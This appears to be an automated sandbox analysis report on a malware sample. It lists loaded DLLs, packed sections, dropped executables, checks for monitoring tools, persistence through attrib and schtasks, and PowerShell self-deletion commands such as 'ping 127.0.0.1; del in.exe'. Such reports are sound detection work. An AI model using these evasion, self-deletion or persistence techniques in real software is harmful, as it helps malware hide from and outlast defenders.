Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 2943488 > 1048576

Source: file.exe

Static PE information: Raw size of eokeitfr is bigger than: 0x100000 < 0x29ce00

Source:	Binary string: wkernel32.pdb source: 1459165c97.exe, 0000002A.00000003.3316733484.0000000005F50000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3316638415.0000000005E30000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 1459165c97.exe, 0000002A.00000003.3316994086.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3317173955.0000000006050000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3326988369.00000000055F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3324377603.00000000053D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 1459165c97.exe, 0000002A.00000003.3315847424.0000000006020000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3315660818.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3319193726.00000000053D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3319970257.00000000055C0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 1459165c97.exe, 0000002A.00000003.3316144032.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3316322619.0000000005FD0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3321405527.0000000005570000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3320430105.00000000053D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 1459165c97.exe, 0000002A.00000003.3315847424.0000000006020000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3315660818.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3319193726.00000000053D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3319970257.00000000055C0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 1459165c97.exe, 0000002A.00000003.3316144032.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3316322619.0000000005FD0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3321405527.0000000005570000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3320430105.00000000053D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 1459165c97.exe, 0000002A.00000003.3316994086.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3317173955.0000000006050000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3326988369.00000000055F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.3324377603.00000000053D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 1459165c97.exe, 0000002A.00000003.3316733484.0000000005F50000.00000004.00000001.00020000.00000000.sdmp, 1459165c97.exe, 0000002A.00000003.3316638415.0000000005E30000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.fb0000.0.unpack :EW;.rsrc:W;.idata :W;eokeitfr:EW;xdqbfquo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;eokeitfr:EW;xdqbfquo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.610000.0.unpack :EW;.rsrc:W;.idata :W;eokeitfr:EW;xdqbfquo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;eokeitfr:EW;xdqbfquo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.610000.0.unpack :EW;.rsrc:W;.idata :W;eokeitfr:EW;xdqbfquo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;eokeitfr:EW;xdqbfquo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.610000.0.unpack :EW;.rsrc:W;.idata :W;eokeitfr:EW;xdqbfquo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;eokeitfr:EW;xdqbfquo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Unpacked PE file: 42.2.1459165c97.exe.f80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hrqcmbfk:EW;baxohzut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hrqcmbfk:EW;baxohzut:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1ee878 should be: 0x1ebe46
Source: 1459165c97.exe.6.dr	Static PE information: real checksum: 0x1ee878 should be: 0x1ebe46
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: Intel_PTT_EK_Recertification.exe.27.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: 5639a58f3b.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: 850609077b.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 7z.exe.14.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: file.exe	Static PE information: real checksum: 0x2da339 should be: 0x2d4f38
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2da339 should be: 0x2d4f38
Source: in.exe.25.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: 7z.dll.14.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: eokeitfr
Source: file.exe	Static PE information: section name: xdqbfquo
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: eokeitfr
Source: skotes.exe.0.dr	Static PE information: section name: xdqbfquo
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: hrqcmbfk
Source: random[1].exe.6.dr	Static PE information: section name: baxohzut
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 1459165c97.exe.6.dr	Static PE information: section name:
Source: 1459165c97.exe.6.dr	Static PE information: section name: .idata
Source: 1459165c97.exe.6.dr	Static PE information: section name:
Source: 1459165c97.exe.6.dr	Static PE information: section name: hrqcmbfk
Source: 1459165c97.exe.6.dr	Static PE information: section name: baxohzut
Source: 1459165c97.exe.6.dr	Static PE information: section name: .taggant
Source: in.exe.25.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.27.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCD91C push ecx; ret	0_2_00FCD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC1359 push es; ret	0_2_00FC135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0062D91C push ecx; ret	2_2_0062D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0062D91C push ecx; ret	3_2_0062D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0062D91C push ecx; ret	6_2_0062D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0062DFC6 push ecx; ret	6_2_0062DFD9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00D9534A push ecx; ret	8_2_00D9535D
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00DB6C1C pushad ; iretd	8_2_00DB6C1E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_0043C050 push eax; mov dword ptr [esp], D7D6D5A4h	10_2_0043C051
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004468BC pushad ; ret	10_2_0044691E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_004450B9 push edi; ret	10_2_0044510D
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00439300 push eax; mov dword ptr [esp], 0B0C0D0Eh	10_2_0043930E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00D9534A push ecx; ret	10_2_00D9535D

Source: file.exe	Static PE information: section name: entropy: 7.9768208267474385
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.9768208267474385
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.974839117664992
Source: random[1].exe.6.dr	Static PE information: section name: hrqcmbfk entropy: 7.952488066525872
Source: 1459165c97.exe.6.dr	Static PE information: section name: entropy: 7.974839117664992
Source: 1459165c97.exe.6.dr	Static PE information: section name: hrqcmbfk entropy: 7.952488066525872

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

